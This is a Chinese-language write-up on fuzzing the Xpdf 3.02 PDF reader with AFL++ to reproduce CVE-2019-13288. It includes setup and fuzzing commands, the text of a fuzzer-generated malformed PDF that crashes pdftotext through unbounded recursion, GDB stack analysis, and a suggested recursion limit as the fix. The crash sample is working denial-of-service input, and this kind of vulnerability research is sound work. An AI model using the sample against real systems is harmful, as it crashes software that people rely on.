Fuzzing 艺术:如何通过覆盖率引导挖掘结构化文件漏洞
本文旨在研究 PDF 解析器 Xpdf 中的深度递归漏洞(CVE-2019-13288)。通过使用 AFL++ 模糊测试工具对 Xpdf 3.02 进行压力测试,成功捕获了由于畸形 PDF 文件引起的拒绝服务(DoS)崩溃
Fuzzing(模糊测试)
是一种自动化的软件测试技术,通过程序自动生成大量非法的,异常的随机的输入数据,将其为给目标程序,并查看监控程序是否会出现崩溃,断言失败或着内存泄漏
- 它的逻辑: 程序员在写代码时,往往只考虑了用户会“按规矩办事”,但 Fuzzer(模糊测试器)专门通过模拟“乱来”的操作(比如把一个 10GB 的文件塞进只允许 1MB 的输入框,或者把图片文件的头部字节全部改写),来探测程序在极端情况下的健壮性。
- AFL++ 的角色: 它不仅仅是乱喂数据,它像是一个聪明的探测员。通过仪器化编译,它能感知到输入数据触发了哪一行代码。如果一组数据让程序走出了之前没走过的新路径,AFL++ 就会保留这组数据并以此为基础继续变异。
xpdf
Xpdf是Foo实验室的一款开源的PDF阅读器。该产品支持解码LZW压缩格式的文件以及阅读加密的PDF文件。
Xpdf 4.01.01版本中的Parser.cc文件的‘Parser::getObj()’函数存在安全漏洞。攻击者可借助特制的文件利用该漏洞造成拒绝服务(无限递归)。
配置环境
下载Xpdf 3.02
wget https://dl.xpdfreader.com/old/xpdf-3.02.tar.gz
tar -xvzf xpdf-3.02.tar.gz使用pdfinfo工具查看PDF元数据与页面边界框信息

安装AFL++
本地环境
安装依赖
sudo apt-get update
sudo apt-get install -y build-essential python3-dev automake git flex bison libglib2.0-dev libpixman-1-dev python3-setuptools
sudo apt-get install -y lld-11 llvm-11 llvm-11-dev clang-11 || sudo apt-get install -y lld llvm llvm-dev clang
sudo apt-get install -y gcc-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-plugin-dev libstdc++-$(gcc --version|head -n1|sed 's/.* //'|sed 's/\..*//')-dev检查并构建AFL++
cd $HOME
git clone https://github.com/AFLplusplus/AFLplusplus && cd AFLplusplus
export LLVM_CONFIG="llvm-config-11"
make distrib
sudo make installdocker
安装docker
sudo apt install docker启动docker容器,挂载到/home aflplusplus/aflplusplus到这个文件夹
docker run -ti -v $HOME:/home aflplusplus/aflplusplus
让容器中的路径和容器外的匹配
export HOME='/home'
漏洞复现过程
Fuzzer过程
afl-fuzz -i $HOME/fuzzing_xpdf/pdf_examples/ -o $HOME/fuzzing_xpdf/out/ -s 123 -- $HOME/fuzzing_xpdf/install/bin/pdftotext @@ $HOME/fuzzing_xpdf/output

出现了六个崩溃,
saved crashes从0变成了6,说明出现了漏洞
cycles done : 1:这意味着 AFL++ 已经把当前所有的测试用例(Corpus)完整地进行了一轮变异和测试。
levels : 30:对比你半小时前的 levels : 3,现在达到了 30。这印证了之前的推测:Fuzzer 通过不断的“进化”,成功构造出了嵌套层级极深的 PDF 对象,成为了深层嵌套结构,最终捅破了栈空间,导致了无限递归崩溃。

%PDF-Q.7
1 0 obj %ry point
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<<
/Type /Pa/Cataloe
+ /MMMMMMMMMediaBox [ 0 0 200 200 ]
/Count 1
/Kids [ 3 0 R ]
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 2 0 R
/Resources <<
/Fo\FA\FA\FA\FA\FA\6E\74\20\3C\3C\0A\20\20\20\20\00\00\7F\FF\20\20\34\20\30\20\52\20\0A\20\20\20\20\BE\3E\0A\20\20\3E\3E\0A\20\20\2F\43\6F\6E\74\65\6E\74\73\20\35\20\30\20\52\0A\3E\3E\0A\65\6E\64\6F\62\6A\0A\0A\34\20\30\20\6F\62\6A\0A\3C\3C\0A\20
\20\2F\47\79\70\65\20\2F\46\6F\6E\74\0A\20\20\2F\53\75\62\74\79\70\65\20\2F\54\79\70\65\31\0A\20\20\2F\42\61\73\65\46\6E\74\20\3C\3C\0A\20\20\20\20\20\20\2F\46\20\20\34\20\30\20\52\20\0A\20\20\20\20\0A\35\20\30\20\6F\62\6A\20\20\25\20\70\61
\67\65\20\63\6F\6E\74\65\6E\74\0A\3C\3C\0A\20\20\2F\4C\65\6E\67\74\68\20\34\34\0A\3E\3E\0A\73\74\72\65\61\6D\0A\42\58\0A\37\30\20\35\30\20\F1\44\2A\2F\46\31\20\88\32\20\54\66\0A\28\48\65\64\6C\69\7A\65\20\36\0A\20\20\21\29\20\54\6A\0A\45\54
\0A\65\6E\64\73\74\72\65\61\6D\0A\65\6E\64\6F\62\6A\0A\F5xref
0 6
000000 65535 f 010 00000 n
0E00000079 00000 n 173 00000 n
0000000301 00000 n
0000000380 00000 n
trailer
<<
/Size 6
/Root 1 0 R
>>
startxref
492
%%E重现崩溃现场,试运行之前获得的崩溃文件来确认它确实可以让程序崩溃
$HOME/fuzzing_xpdf/install/bin/pdftotext $HOME/fuzzing_xpdf/out/default/crashes/id:000000* $HOME/fuzzing_xpdf/output
成功报错,出现了segmentation fault(段错误)
使用GDB动态调试
查找一些所需要的的数据


标出了程序的崩溃时的具体行号

在GDB调试中出现段错误

反复调用parser::getobj这个函数,反复占用栈空间
在这个循环中,Parser::getObj 依然是入口和核心。因为 PDF 中的某些对象(比如 Stream 或者关联的对象)需要解析,所以 getObj 会去调用其他的解析函数(如 makeStream),而这些函数在处理复杂的嵌套结构时,又不得不回头请 getObj 来帮忙解析新的对象。
我尝试使用telescope $rsp 50 来寻找栈顶的内存

发现程序已经 ' 死了' , 栈指针 $rsp 直接冲出了系统分配的程序边界
在向前寻找高0x1000个字节的地址
telescope $rsp+0x1000 50

type == objRef 这是触发点。说明当前处理的是一个指向其他地方的“指针”
xref - > fetch( ) 这里是跳转点,从这里跳出当前逻辑,进入更深的逻辑
继续跟进这个函数

每进入一次 XRef::fetch,程序都会在栈上创建新的 Object obj1, obj2, obj3
这会大幅度占用栈空间
这个漏洞流程是 A (Parser) -> B (Object) -> C (XRef) -> A (Parser)。
修复
为整个程序添加一个' 熔断 ',让逻辑不能闭环循环下去
在主逻辑xpdf/parser.cc中的函数Object *Parser::getObj(Object *obj, Guchar *fileKey,CryptAlgorithm encAlgorithm, int keyLength,int objNum, int objGen)添加熔断,阻止循环
使用AFL++对Xpdf 3.02进行模糊测试,发现Parser::getObj函数存在无限递归导致栈溢出的拒绝服务漏洞。
由 AI 根据全文自动生成,仅供参考,以原文为准